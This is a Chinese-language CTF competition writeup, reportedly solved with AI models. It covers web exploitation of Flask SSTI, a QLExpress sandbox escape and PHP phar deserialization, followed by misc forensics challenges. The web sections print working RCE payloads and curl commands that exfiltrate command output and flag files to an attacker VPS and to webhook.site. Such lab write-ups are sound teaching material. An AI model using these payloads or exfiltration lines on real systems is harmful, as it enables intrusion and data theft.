西湖论剑 2025 线上赛 Writeup

26.0千字 预计阅读 1 小时 47 分钟- 次浏览

1-打ctf你这辈子有了

Text
1. 解题过程中,关键步骤不可省略,不可含糊其辞、一笔带过。
2. 解题过程中如是自己编写的脚本,不可省略,不可截图(代码字体可以调小;而如果代码太长,则贴关键代码函数)。
3. 所有解出的题目都必须书写WRITEUP,缺少一个则视该WRITEUP无效,队伍成绩将无效。
4. WRITEUP如过于简略和敷衍,导致无法形成逻辑链条推断出对题目有分析和解决的能力,该WRITEUP可能被视为无效,队伍成绩将无效。
5. 提交md或者PDF版本即可
6.重命名为排名-

一、团队信息

  • 联系人:[REDACTED]
  • 联系方式:[REDACTED]
  • 排名:1
  • 解题数量:28
  • 消耗token数:205,295,434
  • 模型名称:deepseek-v4-flash,deepseek-v4-pro,glm-5.3,kimi-for-coding,kimi-k3,mimo-v2.5-pro

二、解题过程

题目按照顺序填写

Web

WEB-01

Age Test (Flask SSTI 盲注 + OOB 外带)

Flag: DASCTF{16063092785889954752794598715573}

0x00 题目信息

Text
http/5000  →  http://1.14.76.59:20733
ssh/22     →  ssh://1.14.76.59:19002

0x01 信息收集

首页是一个 “Age Test” 页面,输入昵称后 POST 到 /,返回类似 Are you 18 years old, xxx? 的猜年龄文案:

Http
HTTP/1.0 200 OK
Server: Werkzeug/2.0.3 Python/3.8.20
  • Flask + Werkzeug 2.0.3 / Python 3.8.20
  • 前端把 POST / 的响应直接塞进 $('#msg')[0].innerHTML,说明返回内容就是模板渲染结果的一部分

提交 nickname=test,返回 Are you 18 years old, test? —— 昵称被拼进服务端模板,疑似 SSTI。

0x02 WAF 分析

#逐字符探测

用单字符 payload 逐个测试,发现以下字符被拦(返回 Hacker! restricted characters!):

Text
[  ]  .  _  '  +  (空格)

#花括号行为

Payload 结果
{{7*7}} 被拦
{7*7} 原样输出(未触发渲染)
{ {7*7} } 被拦(去空格后变成 {{7*7}})
{%print(7*7)%} 被拦(print 是关键词)
{%{% 返回 Exception(通过了 WAF,Jinja2 语法报错)

结论:**{{**、**}}** 成对被禁,但 **{%**、**%}**、**{#** 本身不禁;此外还禁了字母 x、g 以及一批关键词,完整黑名单:

Text
}}, {{, ], [, \, space, +, _, ., x, g,
request, print, args, values, input, globals, getitem, class, mro, base,
session, add, chr, ord, redirect, url_for, popen, os, read, flag, config,
builtins, get_flashed_messages, get, subclasses, form, cookies, headers

0x03 绕过思路

三步绕过,缺一不可:

① 用 **{%if(...)%}...{%endif%}** 代替 **{{ }}**

表达式输出用的 {{ }} 被禁,print 关键词也被禁,但 Jinja2 的 if 语句块既不需要 {{ }} 也不需要 print,正好构造布尔盲注(条件为真则输出标记):

Text
{%if(1)%}PWNED{%endif%}   →  响应含 PWNED
{%if(0)%}PWNED{%endif%}   →  响应不含 PWNED

② 所有敏感字符串用 **\\uXXXX** unicode 转义

Jinja2 字符串字面量支持 Python 风格的 unicode 转义,而 WAF 只检查原始 payload 文本。把属性名全部转义后,原始 payload 里只剩 \u005f\u0067... 这类十六进制序列(\u 后只可能出现 0-9a-f,天然不含 x、g),所有字符过滤和关键词过滤全部失效:

Python
def esc(s): return "".join("\\u{:04x}".format(ord(c)) for c in s)
# esc("__globals__") → "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"

③ 用 **|attr()** 代替 **.**/**\[\]** 属性访问,用 **lipsum** 全局对象作入口

. 和 [] 被禁 → 全部改用 |attr("...");_ 被禁 → dunder 名转义解决;入口不依赖 request/config(关键词被禁)→ 用 Jinja2 自带全局 **lipsum**,它是个函数,lipsum.__globals__ 里就有 __builtins__,无需遍历 __subclasses__()。

0x04 构造 RCE

完整执行链(展示层为可读版本,实际提交时所有字符串均为 \uXXXX 转义):

Text
{%if(
  lipsum
  |attr("__globals__")
  |attr("__getitem__")("__builtins__")
  |attr("__getitem__")("__import__")("os")
  |attr("popen")("id")
  |attr("read")()
)%}PWNED{%endif%}

即:lipsum.__globals__["__builtins__"]["__import__"]("os").popen("id").read()

验证结果:

Text
if_true         => 'PWNED may be an adult.'        (盲注 oracle 可用)
if_false        => 'Is  20 years old?'
lipsum_globals  => 'Are you 18 years old, PWNED?'  (lipsum 入口可用)
popen_id        => 'PWNED is 21 years old.'        (RCE 成功)

0x05 数据外带(OOB)

没有回显位置({{}} 被禁),两条路:startswith 布尔盲注逐字符猜,或 OOB 外带。有可控 VPS(120.26.146.96,授权监听 60026 端口)时 OOB 更快:

Bash
# VPS 上起监听
python3 -m http.server 60026 --bind 0.0.0.0

让靶机执行(整条命令同样走 unicode 转义,命令内的空格不受 WAF 限制):

Bash
# 第一步:看身份和根目录
curl -m 8 http://120.26.146.96:60026/a/$( (id; ls /) 2>&1 | base64 -w 0 | tr '/+' '_-' )
 
# VPS 日志收到(来源 1.14.109.79):
GET /a/dWlkPTEwMDAoY3RmKSBnaWQ9MTAwMChjdGYpIGdyb3Vwcz0xMDAwKGN0ZikKYXBw...  HTTP/1.1" 404
# base64 解码:
# uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
# app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
 
# 第二步:根目录有 flag 文件,直接读
curl -m 8 http://120.26.146.96:60026/f/$( cat /flag* 2>&1 | base64 -w 0 | tr '/+' '_-' )

踩坑记录:第一次把命令写成 $( (id;ls /)... ) 时少了空格,$(( 被 shell 当成算术展开,返回空。命令串既然整体转义,空格随便用,补上即可。

解码最终回传:

Bash
$ echo 'REFTQ1RGezE2MDYzMDkyNzg1ODg5OTU0NzUyNzk0NTk4NzE1NTczfQo=' | base64 -d
DASCTF{16063092785889954752794598715573}

0x06 总结

防御 绕过
禁 {{ }} + 禁 print {%if(...)%}...{%endif%} 布尔盲注
禁 _ . [ ] ' + 空格、字母 x/g、一大堆关键词 字符串全部 \uXXXX unicode 转义,原始 payload 不含任何被滤子串
禁 request/config/subclasses 等常见入口 lipsum 全局 → __globals__ → __builtins__ → __import__
无回显 OOB:curl http://vps:port/$(cmd | base64)

核心就一句话:WAF 过滤的是“文本”,而 Jinja2 解析的是“转义后的语义”——只要模板引擎还认 {% %} 和 \uXXXX,字符级黑名单就挡不住。

WEB-02

“QL_again” (QLExpress 3.3.3 sandbox escape → RCE → readflag)

Flag: DASCTF{23586486279216336138143286856946} (platform-verified 1/1)

Target analysis

Attachment QL_again.jar is a Spring Boot 2.7.5 app (QLExpress 3.3.3). Decompilation shows:

  • GET /execute?payload=<base64> (qlcontroller): qluntil.getql() base64-decodes the payload, writes it to /tmp/<first 3 chars of the base64 string>.txt, then executeql() runs it with ExpressRunner.execute(...) and deletes the file only on success. Response is just success / error.
  • Execution hardening: QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true) and setSecureMethods({null}). The secure-method whitelist is non-empty but contains only null, so every Java method call (obj.m(), java.lang.Math.max(1,2), …) throws QLSecurityRiskException. Constructors and field reads are unchecked (verified on target).
  • Main installs NoNetworkSecurityManager: checkConnect rejects non-local hosts, but checkPermission allows everything. It only constrains in-JVM connections — subprocesses (e.g. curl) are unaffected.

#Exploit (two requests)

Constructor invocation is unchecked, and a FileSystemXmlApplicationContext constructor runs the whole Spring bean lifecycle — including init-method — entirely outside QLExpress’s OperatorMethod check.

Stage 1 — plant a Spring beans file. Send the beans XML as the QL payload. It is not valid QL, so execution errors and the decoded file is left behind at /tmp/PD9.txt (PD9 = first 3 base64 chars of <?xml ...):

XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg><list>
      <value>bash</value><value>-c</value>
      <value>echo &lt;base64(cmd)&gt; | base64 -d | bash</value>
    </list></constructor-arg>
  </bean>
</beans>

Stage 2 — trigger. Send QL script:

Text
new org.springframework.context.support.FileSystemXmlApplicationContext("/tmp/PD9.txt")

Spring instantiates ProcessBuilder and calls start() → arbitrary OS command as user ctfer.

Recon exfil (id; env; ls -la /; ... POSTed via curl to a webhook.site bin) showed /flag is root-only (-rwx------) alongside a SUID-root /readflag. Running curl --data-binary "$(/readflag)" https://webhook.site/<uuid> returned the flag.

#Reproduction

Scripts and payloads: team/artifacts/kimi-1/rce/ (beans.xml, beans2.xml + .b64).

Bash
# stage 1: plant XML
curl -G http://1.14.76.59:23537/execute --data-urlencode "payload@beans2.b64"   # -> error (file stays)
# stage 2: load context -> RCE -> /readflag -> exfil
P=$(echo -n 'new org.springframework.context.support.FileSystemXmlApplicationContext("/tmp/PD9.txt")' | base64 -w0)
curl -G http://1.14.76.59:23537/execute --data-urlencode "payload=$P"           # -> success
# read flag from the request bin, then:
slopper submit-flag --flag 'DASCTF{23586486279216336138143286856946}'

#Lessons

  • A non-empty QLExpress secureMethods set acts as a whitelist; pairing it with a dummy entry blocks all method calls, but constructor-side effects (Spring context, TrAXFilter, etc.) still give code execution.
  • A Java SecurityManager that only overrides checkConnect does not stop command execution or subprocess network egress.

WEB-05

(文件上传 + phar 反序列化)

靶机:http://1.14.76.59:24792(Apache/2.4.54 + PHP/7.4.33,mod_php) Flag:DASCTF{97649000032632195190566220880392}

一、信息收集

首页是一个图片上传表单,POST 到 upload.php。任何响应末尾都带有一个固定的致命错误:

Text
Uncaught Error: start in /var/www/html/upload.php:10

上传测试发现两类报错,可推断出两层过滤:

响应 触发条件
Only png, jpg, and gif file are allowed 扩展名命中黑名单(含 php/phtml/pht/htaccess)
i told you dear, only png, jpg, and gif file are allowed 文件内容不是图像(finfo 检查,GIF89a; 头可过)
Uploaded successfully 全过

但上传成功的文件按原名在 Web 目录下找不到,直接利用陷入僵局。

二、突破口:源码泄露

用 dirsearch 对站点做目录爆破,发现 **/www.zip**(整站源码备份),以及 /info.php(phpinfo,确认 Server API = Apache 2.0 Handler,即 mod_php,.user.ini 路线无效)。

upload.php 本体是两层混淆(eval + gzinflate/base64/字符偏移,内层是 fopo 型 strtr 替换),本地用 PHP 解码后得到真实逻辑:

Php
class AnyClass {
    var $output = 'echo "ok";';
    function __destruct() { eval($this->output); }   // 现成 gadget
}
 
if (isset($_POST['upload'])) {
    if (!empty($_FILES['image']['name'])) {
        $maxFileSize = 2 * 64 * 64;                  // 实际只有 8KB
        $r = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
        $image = array('php','PHP','phtml','sh','pht','htaccess','user.ini','asp','aspx','jsp');
        if (!in_array($r, $image)) {                  // 精确匹配黑名单,注意没有 phar!
            if ($_FILES['image']['size'] <= $maxFileSize) {
                $finfo = @new finfo(FILEINFO_MIME);
                $filetype = @$finfo->file($_FILES['image']['tmp_name']);
                if (preg_match('/image\/(jpeg|png|gif)/', $filetype)) {
                    if (move_uploaded_file($_FILES['image']['tmp_name'],
                            'uploaded_images/' . $_FILES['image']['name'])) {
                        $b = 'uploaded_images/' . $_FILES['image']['name'];
                        @parse_str($_POST['upload']);  // ★ 变量覆盖:提交按钮的值可控!
                        if (file_exists($b)) {          // ★ file_exists($b) → phar:// 反序列化
                            echo "Uploaded successfully";
                        }
                    }
                } else { echo "\ni told you dear, ..."; }
            }
        } else { echo "\nOnly png, jpg, and gif ..."; }
    }
}
new AnyClass();   // 每次请求末尾 echo "ok" 的来源

(对应外层 upload.php 第 9 行的 eval;第 10 行是 throw new Error("start")。)

三、漏洞链设计

  1. 黑名单没有 **phar**,且 finfo 只看文件头 → 可上传 GIF 头 stub 的 phar 文件,落在 uploaded_images/(该目录直接可访问)。
  2. **parse_str($_POST\['upload'\])** 在 $b 赋值之后执行 → 提交 upload=b=phar://uploaded_images/evil.phar/x.txt 即可把 $b 覆盖成 phar 路径。
  3. file_exists($b) 触发 phar 元数据反序列化,元数据里放 AnyClass,__destruct 中 eval($this->output) 任意代码执行。

关键障碍:fatal 之后析构不执行

流程末尾 throw new Error("start") 使请求以 fatal error 结束。本地用与靶机同版本的 PHP 7.4.33 实测:

  • 正常结束:phar 元数据对象在 shutdown 阶段析构,eval 执行 ✓
  • uncaught Error / E_USER_ERROR / 调用未定义函数:shutdown 阶段的 __destruct 全部不执行 ✗

而 phar 元数据对象会被 phar 缓存持有到请求结束 —— 直接打,eval 永远不会跑。

绕过:让对象在 unserialize 期间立即析构

把元数据的序列化串由 :1:{ 改成 :2:{(等长篡改):unserialize 创建对象后继续解析第二个属性时遇到 } 报错,半成品对象被立即清理 → **__destruct** 在 unserialize 期间、也就是 throw 之前触发。本地验证输出顺序确认 eval 先于 fatal error 执行。

phar 签名(SHA-1)覆盖元数据,篡改后需重算签名:

Php
<?php
class AnyClass {
    var $output = 'system("cat /flag* 2>/dev/null; echo -----; ls -la /;");';
}
@unlink('evil.phar');
$p = new Phar('evil.phar');
$p->startBuffering();
$p->setStub("GIF89a;<?php __HALT_COMPILER(); ?>");   // GIF 头过 finfo
$p->setMetadata(new AnyClass());
$p->addFromString('x.txt', 'x');
$p->stopBuffering();
 
$data = file_get_contents('evil.phar');
$meta = serialize(new AnyClass());
$pos  = strpos($data, $meta);
$bad  = str_replace(':1:{', ':2:{', $meta);          // 元数据致残
$data = substr_replace($data, $bad, $pos, strlen($meta));
$sigstart = strlen($data) - 28;                      // sig(20)+flags(4)+GBMB(4)
$newsig = sha1(substr($data, 0, $sigstart), true);   // 重算 SHA-1 签名
file_put_contents('evil.phar',
    substr($data, 0, $sigstart) . $newsig . substr($data, $sigstart + 20));

四、打点

Bash
php -d phar.readonly=0 makephar.php
 
curl -F "image=@evil.phar;filename=evil.phar;type=image/gif" \
     -F "upload=b=phar://uploaded_images/evil.phar/x.txt" \
     http://target/upload.php

响应中 ok 和 fatal error 之前即输出命令执行结果:

Text
DASCTF{97649000032632195190566220880392}
-----
total 92
...
-rw-r--r-- 1 root root 41 Aug 21 08:12 flag
...

五、总结

  • 信息收集别忽视目录爆破,www.zip 直接决定了这题从黑盒变白盒。
  • 考点组合:扩展名黑名单绕过(phar)+ finfo 内容检查绕过(GIF 头)+ parse_str 变量覆盖 + phar 反序列化。
  • 最有意思的细节:题目用 throw new Error("start") 堵住 shutdown 析构路径,逼选手用畸形序列化数据让对象在 unserialize 期间被立即析构——这是本题真正的门槛。
  • 复现 PHP 行为时务必用与靶机一致的版本(本地 PHP 8 与 7.4 在 strtr、析构时机等行为上有差异)。

MISC

MISC-01

Flag:DASCTF{9da98cbf7e99bff7c93ef066935f65ba}

10734 — MISC-01 “flag^galf” Writeup

  • Category: Misc / Memory Forensics
  • Flag: DASCTF{9da98cbf7e99bff7c93ef066935f65ba} (platform-verified, 1/1)
  • Attachment: attachments/flag^galf的附件.zip → tempdir/MISC附件/ubuntu flag.zip → ubuntu flag.lime (2 GB LiME memory dump, Linux 4.13.0-36-generic, Ubuntu 16.04)

Summary

The attachment is a LiME memory image of an Ubuntu desktop. Memory forensics shows the author encrypted an image with a script enc.py (since deleted / zero-length in memory). Two PNGs, picture.png and encrypt.png, remain recoverable from the kernel page cache. The challenge name flag^galf (“flag” XOR reversed “flag”) hints that the original image is recovered by XOR-ing the pixels of the two images with the second image’s channels reversed: img1.RGBA ^ img2.ABGR. The reconstructed ori.png displays the flag.

Reproduction Steps

  1. Unpack the nested archives:

    Text
    unzip "attachments/flag^galf的附件.zip"        # tempdir/MISC附件/ubuntu flag.zip
    unzip "tempdir/MISC附件/ubuntu flag.zip"      # ubuntu flag.lime
  2. Identify the kernel with Volatility 3 (installed at /opt/slopper/venv/bin/vol):

    Text
    vol -f "ubuntu flag.lime" banners
    # Linux version 4.13.0-36-generic ... Ubuntu 4.13.0-36.40~16.04.1-generic
  3. Install the matching symbol table Ubuntu_4.13.0-36.json.xz into volatility3/framework/symbols/linux/, then enumerate the system:

    Text
    vol -q -f "ubuntu flag.lime" linux.pslist     # gnome-terminal, bash, screen, firefox, lmg/avml capture
    vol -q -f "ubuntu flag.lime" linux.bash       # history shows: python enc.py (XOR image encryption)

    Bash history / strings reveal the author ran enc.py to XOR-encrypt an original image, producing encrypt.png from picture.png (files live under /home/.pip3/; enc.py itself is unrecoverable — zero-length in memory — which is why the algorithm must be inferred).

  4. Recover the two PNGs from the page cache (vol2 linux_find_file -L + -O, or carve the PNG signatures directly from the image):

    • encrypt.png
    • picture.png
  5. XOR the images. A naive RGBA^RGBA XOR only shows a faint flag shadow; per the title flag^galf, XOR img1.RGBA with img2.ABGR (reversed channels) — see team/artifacts/kimi-1/xor_flag.py:

    Python
    from PIL import Image
    img1 = Image.open("encrypt.png"); img2 = Image.open("picture.png")
    w, h = img1.size
    img3 = Image.new("RGBA", (w, h))
    for y in range(h):
        for x in range(w):
            r1, g1, b1, a1 = img1.getpixel((x, y))
            r2, g2, b2, a2 = img2.getpixel((x, y))
            img3.putpixel((x, y), (r1 ^ a2, g1 ^ b2, b1 ^ g2, a1 ^ r2))
    img3.save("ori.png")

    (Equivalent shortcut: mark pixels where r^g^b^a of the plain XOR is 255 — the flag text renders cleanly.)

  6. Read the flag from ori.png and submit:

    Text
    slopper submit-flag --flag 'DASCTF{9da98cbf7e99bff7c93ef066935f65ba}'
    # verification: accepted ("答案正确"), solvedFlagCount 1/1

Artifacts

  • team/artifacts/kimi-1/flag.txt — the verified flag
  • team/artifacts/kimi-1/xor_flag.py — channel-reversed XOR reconstruction script

Retrospective

  • Once the XOR-with-reversed-channels hypothesis was formed from the title flag^galf and the bash-history evidence, testing it on a small crop of the two images confirmed the approach immediately, before full-resolution reconstruction.
  • Key lesson encoded in the title: flag^galf = XOR with the reversed byte/channel order — challenge names and a cron-job hint (“possibly XOR”) pointed at the algorithm once enc.py proved unrecoverable from memory.
  • Volatility 3 worked end-to-end here (banners/pslist/pagecache) once the correct Ubuntu_4.13.0-36 ISF symbol table was installed; vol2 with a hand-built profile is only needed for convenient file export.

MISC-02

MISC-02 (logbool) — Writeup

Approach

Attachment is a 16MB pcapng captured on Windows loopback (Npcap Loopback Adapter). Protocol hierarchy shows heavy MySQL (port 3306) and HTTP traffic. The HTTP requests to 10.211.55.8:80 are classic sqlmap boolean-based blind SQLi payloads (?id=1' AND ORD(MID((SELECT IFNULL(CAST(content AS NCHAR),0x20) FROM ctftest.ctfblob ...),N,1))>K AND 'xxx'='xxx). The web app executes each payload against MySQL (127.0.0.1:3306, db=ctftest) and the HTTP response echoes the query plus success iff a row was returned. Both the full SQL query and the result-set row presence are captured in the MySQL protocol, giving a clean 1:1 boolean oracle per probe without HTTP parsing.

Evidence

  • tshark -Y mysql dump: 2668 Request Query frames, each paired with a Response TABULAR Response (row text 1,zhangsan,zhang present = true, empty = false).
  • Payloads extract columns of ctftest.ctfblob (COUNT(*), id, username, password, content) char-by-char via ORD(MID(...))>K binary search.
  • Reconstructed value per position: max(K where true) + 1.

Reconstructed rows

  • id: 1
  • username: boolblob
  • password: timeemitloggol ← used as the RAR password
  • content: hex string 526172211a070100... → unhexlify → RAR archive (Rar!\x1a\x07\x01\x00) containing flag.txt (40 bytes, encrypted with password timeemitloggol)

Steps

  1. tshark -r logbool.pcapng -Y mysql -T fields ... > mysql_dump.tsv
  2. Pair each Request Query with its Response TABULAR outcome (row present ⇔ condition true).
  3. Parse ORD(MID((SELECT ...),pos,1))>N probes, group by (column, offset, position), value = max(true N)+1.
  4. Reconstruct content hex → flag.rar; password from password column.
  5. 7z e flag.rar -ptimeemitloggol → flag.txt = DASCTF{33c12355cd508de6b9b3676b97ece17e}.

Flag

DASCTF{33c12355cd508de6b9b3676b97ece17e} (submitted as 33c12355cd508de6b9b3676b97ece17e, accepted)

Failed attempts

  • Guessed flag directly from HTTP response bodies (echo only, no data) — flag is exfiltrated via blind oracle, not plaintext.
  • 7z/unrar initially prompted for password; resolved by using the DB password column value.
Python
#!/usr/bin/env python3
import re, sys
from collections import defaultdict
# Parse mysql_dump.tsv: frame \t stream \t info \t rowtext \t query
rows = []
with open('mysql_dump.tsv') as f:
    for line in f:
        parts = line.rstrip('\n').split('\t')
        if len(parts) < 3:
            continue
        frame = int(parts[0])
        stream = parts[1]
        info = parts[2]
        rowtext = parts[3] if len(parts) > 3 else ''
        query = parts[4] if len(parts) > 4 else ''
        rows.append((frame, stream, info, rowtext, query))
# Pair each "Request Query" with the next "Response TABULAR Response" in same stream
queries = []  # (frame, query, outcome_bool)
pending = {}  # stream -> query
for frame, stream, info, rowtext, query in rows:
    if 'Request Query' in info:
        pending[stream] = query
    elif 'Response TABULAR' in info:
        q = pending.pop(stream, None)
        if q is not None:
            outcome = bool(rowtext.strip())
            queries.append((frame, q, outcome))
print(f"total paired queries: {len(queries)}")
# Parse payload: SELECT * FROM ctfuser WHERE id='<payload>' LIMIT 0,1
pat = re.compile(r"ORD\(MID\(\(SELECT IFNULL\(CAST\((?P<col>[^)]*?)(?: AS NCHAR)?\),0x20\) FROM ctftest\.ctfblob(?: ORDER BY id LIMIT (?P<off>\d+),\d+)?\),(?P<pos>\d+),\d+\)\)(?P<op>>=?)(?P<num>\d+)")
def parse_payload(q):
    m = re.search(r"id='(.*)' LIMIT 0,1$", q)
    if not m:
        return None
    payload = m.group(1)
    m2 = pat.search(payload)
    if not m2:
        return None
    col = m2.group('col').strip()
    pos = int(m2.group('pos'))
    num = int(m2.group('num'))
    op = m2.group('op')
    off = m2.group('off') or '0'
    return (col, int(off), pos, num, op)
# Group probes by (col, off, pos)
probes = defaultdict(list)  # (col, off, pos) -> [(num, outcome)]
unknown = 0
for frame, q, outcome in queries:
    parsed = parse_payload(q)
    if parsed is None:
        unknown += 1
        continue
    col, off, pos, num, op = parsed
    probes[(col, off, pos)].append((num, outcome, frame))
print(f"unparsed: {unknown}")
print(f"positions tracked: {len(probes)}")
# Reconstruct: value = max(num where outcome true) + 1 (binary search on '>')
# Also verify each position has consistent probes.
results = defaultdict(dict)  # (col, off) -> {pos: char}
for (col, off, pos), plist in sorted(probes.items()):
    plist.sort()
    trues = [n for n, o, f in plist if o]
    falses = [n for n, o, f in plist if not o]
    if trues:
        v = max(trues) + 1
    else:
        v = min(falses) - 1 if falses else None
    results[(col, off)][pos] = v
for (col, off) in sorted(results.keys()):
    d = results[(col, off)]
    s = ''.join(chr(d[p]) for p in sorted(d) if d[p] is not None)
    print(f"--- col={col!r} off={off} len={len(d)} ---")
    print(repr(s))
    print(s)
Python
#!/usr/bin/env python3
# Reproducible solver for MISC-02 (logbool)
# Given: logbool.pcapng — a capture of sqlmap boolean-based blind SQLi against a web app
# backed by MySQL. The app echoes the query and appends "success" iff a row is returned.
# We reconstruct extracted strings from the MySQL protocol (query + result row presence).
import re, binascii, subprocess, os
from collections import defaultdict
PCAP = "tempdir/MISC附件/logbool.pcapng"
os.system(f"tshark -r {PCAP} -Y 'mysql' -T fields -e frame.number -e tcp.stream -e _ws.col.Info -e mysql.row.text -e mysql.query 2>/dev/null > mysql_dump.tsv")
rows = []
with open('mysql_dump.tsv') as f:
    for line in f:
        parts = line.rstrip('\n').split('\t')
        if len(parts) >= 3:
            rows.append((int(parts[0]), parts[1], parts[2],
                         parts[3] if len(parts) > 3 else '',
                         parts[4] if len(parts) > 4 else ''))
pending, queries = {}, []
for frame, stream, info, rowtext, query in rows:
    if 'Request Query' in info:
        pending[stream] = query
    elif 'Response TABULAR' in info:
        q = pending.pop(stream, None)
        if q is not None:
            queries.append((frame, q, bool(rowtext.strip())))
pat = re.compile(r"ORD\(MID\(\(SELECT IFNULL\(CAST\((?P<col>[^)]*?)(?: AS NCHAR)?\),0x20\) FROM ctftest\.ctfblob(?: ORDER BY id LIMIT (?P<off>\d+),\d+)?\),(?P<pos>\d+),\d+\)\)(?P<op>>=?)(?P<num>\d+)")
probes = defaultdict(list)
for frame, q, outcome in queries:
    m = re.search(r"id='(.*)' LIMIT 0,1$", q)
    if not m: continue
    m2 = pat.search(m.group(1))
    if not m2: continue
    col = m2.group('col').strip(); pos = int(m2.group('pos')); num = int(m2.group('num'))
    off = m2.group('off') or '0'
    probes[(col, int(off), pos)].append((num, outcome))
results = defaultdict(dict)
for (col, off, pos), plist in sorted(probes.items()):
    trues = [n for n, o in plist if o]
    falses = [n for n, o in plist if not o]
    v = (max(trues) + 1) if trues else (min(falses) - 1 if falses else None)
    results[(col, off)][pos] = v
out = {}
for (col, off) in sorted(results.keys()):
    d = results[(col, off)]
    s = ''.join(chr(d[p]) for p in sorted(d) if d[p] is not None)
    out[col] = s
    print(f"{col}: {s!r}")
# content is a hex string -> RAR archive
rar = binascii.unhexlify(out['content'].rstrip('\x00'))
open('flag.rar', 'wb').write(rar)
pw = out['password'].rstrip('\x00')
subprocess.run(["7z", "e", "flag.rar", "-y", "-p" + pw, "-oextracted"], capture_output=True)
print(open('extracted/flag.txt').read())

MISC-03

HK的怪兽

1.得到一个加密的zip和一个流量,提示zip的密码就是shell中的key,看下流量,发现明显是哥斯拉流量,跟题目名字正好对应

Plain
DASCTF=J748ZThhYTU1NjWpAz2hCTQ19M0T%2FtEHhbdtMxYleyEo1z%2BjjnUl6WGDGRgM72C3dVub
LL8qK%2Fw%2B2iBXOVef67qIQ0lZdGrErqhtlAHkJdugunhkNxN%2ByJ%2B91ga%2FP%2BTqTgG5t9w
vx%2FbTadLPT10FDfE6wRw97Qs1NTY%3D

2.在第14流发现了哥斯拉流量密文解密的key等信息

Php
$pass='DASCTF' ;
$payloadName='payload' ;
$key='9854e8aa5568e23c';

3.在第6流发现了压缩包的十六进制源码,打开发现是加密的

4.在第41流,使用解密脚本解密哥斯拉流量的密文,得到了跟密钥有关的信息

Bash
php 1.php
string(106) "cmdLineDsh -c "cd "/var/www/html/hackable/uploads/";
cat Pass1sHere.txt" 2>81methodName 
execCommand"
Php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function response_decode($D,$K){
    $D = base64_decode($D);
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    var_dump(gzdecode($D));
}
 
$pass='DASCTF';
$payloadName='payload';
$key='9854e8aa5568e23c';
$request_data ='J748ZThhYTU1NjWpAz2hCTQ19M0T/tEHhbdtMxYleyEo1z+jjnUl6WGDGRgM72C3dVubLL8qK/w+2iBXOVef67qIQ0lZdGrErqhtlAHkJdugunhkNxN+yJ+91ga/P+TqTgG5t9wvx/bTadLPTl0FDfE6wRw97Qs1NTY=';
echo
 
response_decode($request_data, $key);

5.但是看后面没有回显到cat txt的内容,尝试后得知zip的密码就是哥斯拉流量密文解密的key:9854e8aa5568e23c,得到的文件是乱码

6.密文解密后得到的cat Pass1sHere.txt中txt的名字就是1.pem文件的解密密码,010打开后发现其中是一个PRIVATE KEY

7.使用1.pem中的私钥解密flag文件,具体用法可参考 openssl pkeyutl -decrypt -in flag -inkey 1.pem -out flag.txt

Bash
$ cat flag.txt
 
DASCTF{987787ad-5cf9-4909-b847-8dfb9d657988}

MISC-04

题目附件给了一个流量包,翻看一下发现以下几个可疑信息

首先是给了一个/hint:crc32

然后上传了一个flag文件,熟悉文件头的话很容易发现这是一个十六进制逆序后的7z文件flag,提取出来。

然后发现用户还传了三个文件,分别是:pwd1.dat pwd2.dat pwd3.dat,爆破这三个数据crc32计算后的值即可得到解压密码:PAS4_Wo3d_he3e!

用此密码解压7z后可以得到一个 flag.txt 内容如下:

D 1l A 1h S 1g 23 1d 2k 32 26 1n 3r 1k 1i 1k 1l 1d 33 1l 31 1p 34 1k 1p 1i 31 35 1m 32 1d 1m 1m 35 32 1m 1k 33 31 1n 1d 1m 1k 3t

发现有DAS这三个关键的字母,然后别的数据应该都是32进制,因此我们写个脚本转换一下

Python
def func():
    with open("flag.txt",'r') as f:
        data = f.read().split()
 
    flag = ""
    for item in data:
        if item.isupper():
            flag += item
        else:
            flag += chr(int(item,32))
            
    print(flag) 
    # D5A1S0C-TbF7{4245-c5a9d492ae6b-66eb64ca7-64}
 
if __name__ == "__main__":
    func()

最后解个栅栏密码即可得到最后的flag:DASCTF{25cad9a6-6b4a-4510-b744-5942eb6e6c76}

MISC-06

蚁剑流量,流量中找到www.zip,导出得到

my_rsa.php

Php
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCfhiyoPdM6svJZ+QlYywklwVcx
PkExXQDSdke4BVYMX8Hfohbssy4G7Cc3HwLvzZVDaeyTDaw+l8qILYezVtxmUePQ
5qKi7yN6zGVMUpQsV6kFs0GQVkrJWWcNh7nF6uJxuV+re4j+t2tKF3NhnyOtbd1J
RAcfJSQCvaw6O8uq3wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
foreach($_POST as $k => $v){
    if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
       $_POST[$k]=$de;
  }
}
eval($cmd);

得到密钥,直接用neta分析

发现有一个secret文件,其中i和7被替换为了x,文件内容:xx34d619x1brxgd9mgd4xzxwxytv669w

那么x就可能是i可能是7可能是x

又输出了secret文件的md5值

Python
import hashlib
 
def generate_combinations(s, index=0, current=""):
    if index == len(s):
        md5_hash = hashlib.md5(current.encode()).hexdigest()
        if md5_hash == "edffd5be04cc060e343cad479a8b845c":
            print(f"Matching string: {current}")
        return
 
    if s[index] == 'x':
        generate_combinations(s, index + 1, current + 'i')
        generate_combinations(s, index + 1, current + '7')
        generate_combinations(s, index + 1, current + 'x')
    else:
        generate_combinations(s, index + 1, current + s[index])
 
input_string = "xx34d619x1brxgd9mgd4xzxwxytv669w\n"
generate_combinations(input_string)

